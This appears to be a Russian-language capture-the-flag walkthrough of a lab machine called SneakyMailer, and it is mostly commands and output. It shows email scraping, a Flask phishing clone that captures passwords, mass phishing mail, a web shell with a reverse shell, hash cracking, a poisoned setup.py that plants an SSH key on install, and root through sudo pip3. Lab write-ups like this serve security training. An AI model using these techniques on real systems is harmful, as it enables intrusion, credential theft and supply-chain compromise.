Обзор сервисов
$ nmapAutomator.sh -H 10.10.10.197 -t Full
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
|_imap-capabilities: STARTTLS THREAD=ORDEREDSUBJECT ENABLE UTF8=ACCEPTA0001 ACL2=UNION ACL IMAP4rev1 THREAD=REFERENCES NAMESPACE QUOTA UIDPLUS IDLE CHILDREN SORT CAPABILITY OK completed
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: THREAD=ORDEREDSUBJECT ENABLE UTF8=ACCEPTA0001 AUTH=PLAIN ACL2=UNION ACL IMAP4rev1 THREAD=REFERENCES NAMESPACE QUOTA UIDPLUS IDLE CHILDREN SORT CAPABILITY OK completed
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:[email protected]
| Not valid before: 2020-05-14T17:14:21
|_Not valid after: 2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
$ feroxbuster -u http://sneakycorp.htb/ -u /usr/share/dirb/wordlists/common.txt -x php,py,sh,txt,pdf
http://sneakycorp.htb/pypi/
$ feroxbuster -u http://sneakycorp.htb/pypi/ -u /usr/share/dirb/wordlists/common.txt -x php,py,sh,txt,pdf
200 81l 197w 0c http://sneakycorp.htb/pypi/register.php
Парсим электронную почту
Качаем все письма с помощью team.php
:
curl http://sneakycorp.htb/team.php | grep '@' | awk '{gsub(/<[^>]*>/,"");print;}' | tr -d ' ' > emails.txt
Фишинг
Сохраняем HTML-страницу http://sneakycorp.htb/pypi/register.php
:
mkdir templates
curl http://sneakycorp.htb/pypi/register.php -o templates/register.php
sed -i 's/\/vendor/http:\/\/sneakycorp.htb\/vendor/g' templates/register.php
sed -i 's/\/css\//http:\/\/sneakycorp.htb\/css\//g' templates/register.php
app.py
:
from flask import *
import requests
app = Flask(__name__)
@app.route('/pypi/register.php',methods=['GET','POST'])
def register():
if request.method=="GET":
return render_template("register.php")
else:
print(request.args)
print(request.form)
requests.post('http://sneakycorp.htb/pypi/register.php',data=request.form)
return redirect('http://sneakycorp.htb',code=302)
app.run('0.0.0.0',80)
Запускаем app.py
:
python3 app.py
mailer.sh
:
while read email; do
echo "[+] Sending email from $email"
swaks --from [email protected] --to $email --header 'Subject: Register in the portal' --body 'http://10.10.14.6/pypi/register.php' --server sneakycorp.htb >/dev/null
done < emails.txt
Запускаем mailer.sh
:
chmod +x mailer.sh
./mailer.sh
Ждем:
ImmutableMultiDict([('firstName', 'Paul'), ('lastName', 'Byrd'), ('email', '[email protected]'), ('password', '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht'), ('rpassword', '^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht')])
Почтовый ящик
Логинимся с помощью Evolution. Переходим в отправленные:
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
FTP
С помощью найденных кредов логинимся на FTP и загружаем shell.php
.
Перебирваем домены с помощью ffuf
:
bruteforce domains using ffuf
$ ffuf -u http://sneakycorp.htb -H 'Host: FUZZ.sneakycorp.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 6
=> dev.sneakycorp.htb
Reverse Shell
nc -lnvp 1234
curl http://dev.sneakycorp.htb/shell.php
Linenum
=> .htpasswd
=>pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Брутфорс
$ hashid
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
MD5 / APACHE md5
$ echo pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ > htpasswd
$ hashcat -m 1600 htpasswd /usr/share/wordlists/rockyou.txt --username
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
Веб
$ ls /var/www/
dev.sneakycorp.htb html pypi.sneakycorp.htb sneakycorp.htb
=> http://pypi.sneakycorp.htb:8080/
Логинимся на PyPI сервер http://pypi.sneakycorp.htb:8080/simple/pypi:soufianeelhaoui
Локальный пакет для PIP
$ wget https://files.pythonhosted.org/packages/85/73/daa5c91ce58cd5db7aebaca05fe8f7ca4223bfd32525dbec93662fb449b3/python-package-example-0.1.tar.gz
$ tar xvf python-package-example-0.1.tar.gz
$ nano setup.py
from setuptools import setup, find_packages
try:
with open("/home/low/.ssh/authorized_keys", "w") as f:
f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtRShyvgwXRSQCdJxVHSOmsvH1gbQMXAuUYSs0abix0cynMoPGfWCO9GE9nF6gSvcrvc>
except:
setup(
name='python-package-example',
version='0.1',
packages=find_packages(exclude=['tests*']),
license='MIT',
description='An example python package',
long_description=open('README.txt').read(),
install_requires=['numpy'],
url='https://github.com/BillMills/python-package-example',
author='Bill Mills',
author_email='[email protected]'
)
$ nano ~/.pypirc
[distutils]
index-servers =
remote
[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
$ python3 setup.py sdist upload -r remote
Флаг пользователя
$ ssh [email protected]
low@sneakymailer:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:6f:34 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.197/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:6f34/64 scope global dynamic mngtmpaddr
valid_lft 86240sec preferred_lft 14240sec
inet6 fe80::250:56ff:feb9:6f34/64 scope link
valid_lft forever preferred_lft forever
low@sneakymailer:~$ cat user.txt
cade53a4eec1995f11377ce494320f36
Повышение привилегий
Мы можем выполнять /usr/bin/pip3
с помощью sudo
без пароля:
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
Флаг суперпользователя
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:6f:34 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.197/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:6f34/64 scope global dynamic mngtmpaddr
valid_lft 86029sec preferred_lft 14029sec
inet6 fe80::250:56ff:feb9:6f34/64 scope link
valid_lft forever preferred_lft forever
$ cat root.txt
4edf8e29eb56fb88b122e058ebc2f02d